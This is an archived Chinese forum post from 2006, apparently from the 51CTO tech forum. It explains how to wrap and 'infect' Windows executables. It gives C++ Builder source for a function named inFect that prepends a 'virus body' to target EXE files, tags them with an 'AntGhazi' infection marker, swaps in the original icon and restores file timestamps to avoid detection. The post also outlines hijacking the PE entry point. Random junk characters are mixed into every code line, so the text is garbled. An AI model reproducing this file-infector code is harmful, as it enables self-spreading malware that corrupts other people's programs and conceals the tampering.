51CTO技术论坛_中国领先的IT技术社区's Archiver

感冒不好玩 发表于 2006-8-29 02:02

关于BCB写入文件进行感染的问题

提示一点,一种最简单的方法是,自己做一个外壳程序(Shell),然后将要运行的程序以某种方式放入到外壳程序中(比如以资源或者特定位置数据),而外壳程序可以抽取原可执行程序文件得图标,并可修改自己的图标与之相同。这样一来,经过修改的程序就是 外壳程序 + 原可执行程序(已作为数据存在于外壳程序中),运行后自然先启动外壳程序,你可以在其中加入一些权限判定的代码,通过验证后,外壳程序将自身中的真正可执行文件数据提取并运行。这里面的要求是,外壳程序必须用纯 WinAPI SDK 方式编写,以减少文件体积;外壳程序应当对写入自身的原可执行程序数据作加密处理,以防被窃取。你可以位外壳程序增加感染功能(不要做病毒哦……)等等。
7@Z)r3eb Hhn0gv6K!q
/****************************************************************************
vA\O_d Function Name : inFect R9g!g l%I*H/k+D~.S
Function : 感染文件
+H3j,k~ N%xv2m] Parement : char *strFile 文件名
D\~%S8h-y6?{ char *strSource 病毒体 U*l-DQ~ E.A/B7t
DWORD dwSourceSize 病毒体长度 iK&E!X8POj {b
Return : if success return 1,else return 0; `PA srMkqM w
*****************************************************************************/ +N,z_9D:xVu
int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){ 'HT? av J`
HANDLE hSearchFile=NULL;
k'L4A/Xf qA DWORD dwSearchFileSize=0; |l:cj*Z gW$B'V ko
char VirusFlag[10]={'\0'}; 9l'WB(p@6`f
DWORD bytes_write; #zr }3t2x {
WIN32_FIND_DATA lpFindFileData=_lpFindFileData; V6om"oicJ
char *strFile=lpFindFileData.cFileName ;
V~-l9HyW T kTNM$k$w#?R
//char *strFile="AntGhazi.tmp\0";//测试时,特定只感染此文件 w?"}S/c g)bQK,D r
//strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//测试时,特定只感染此文件
e%SgB![.gV4[8^"@ 5e2ZIxQ1?s1iO
::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL); )dk!Znj
hSearchFile=::CreateFile (strFile,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 5dl ] ?Tm
if(hSearchFile == INVALID_HANDLE_VALUE){ %z]Hp-S-N^d
::CloseHandle (hSearchFile);
0g%b-N:[:v ::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
2aN;^2k'X0{5rG?l7CE/[ return 0;
Xnm`:Uf9u{U Z }
b~ n_v ~8Z*l f 5q!L$Yq-a)h6d*`Ub
::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先读取标志
4i;?D$pjtS)[r ::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
2e8g8VF%e0f2|5e ::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0); ;T,Oun8w(b*R2p t:G\
if(strcmp(VirusFlag,"AntGhazi")!=0){ //感染
"b8`&p.n.m%? oDV //先读取长度 q#_%g&hE%x k&y!m
dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原长度
+m(i)@uPgl!|Y9zS if(dwSearchFileSize>10485760){ //如果文件大于10M,则退出 6P r5r^1Oz ~:ii#Yu
::CloseHandle (hSearchFile); Q%BYD;~z,x C ?5o
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
$R*TWW%o return 0;
${ uW+{p4c }
&r*vyqY%h char *pSearchFile=new char[dwSearchFileSize];
"s1d9m Ztu9HQ w ::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //读取原文件内容 1kDy*_J0^
::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
DO,w7Sf m memmove(strSource+80,"AntGhazi",8); //写入标志 ,pU-UT?}p K
memcpy(strSource+88,&dwSearchFileSize,4); //写入源长度
7h j.cS7M!Z"j;F*yW
e F;x*G B P$r ::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //准备写入文件中
f FV~3oN5uSjjo ModifyIcon(&strSource,pSearchFile); //修改ICON -ei.SI"T5_vT
::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0); !gJ9dA?#aN ]
::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0); 8X;F ^h%XX,wix+B/G
delete pSearchFile; b;bjKp+f)N ] O
SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//写入日期
8|/Z!|dy c7] C ::CloseHandle (hSearchFile); _zjf0L7o9Z ^,U
}else{ nH#^GC [6\K,X
::CloseHandle (hSearchFile); ,XTQF`5x;F
}
0kO9{Z4WKTV ::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes ); BP8P ]Ar g!z,w
return 1; ve)zFk$w,xX |2a
}
qDq$PQgf!C,i c8X@f OX8K~H7q
先弄明白EXE文件的格式,每个EXE文件都有一个文件头叫PE,那文件头里面定义了该EXE文件里面各段的地址等很多重要的数据,有一个起始的指针指向程序开始运行的入口地址,你做个外壳把那地址改成你的程序入口,然后在你程序结束的时候转到原来的那个入口就可以了。
xWX5E k'J 说起道理来容易,但想弄明白PE可真不是件容易事哦!

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.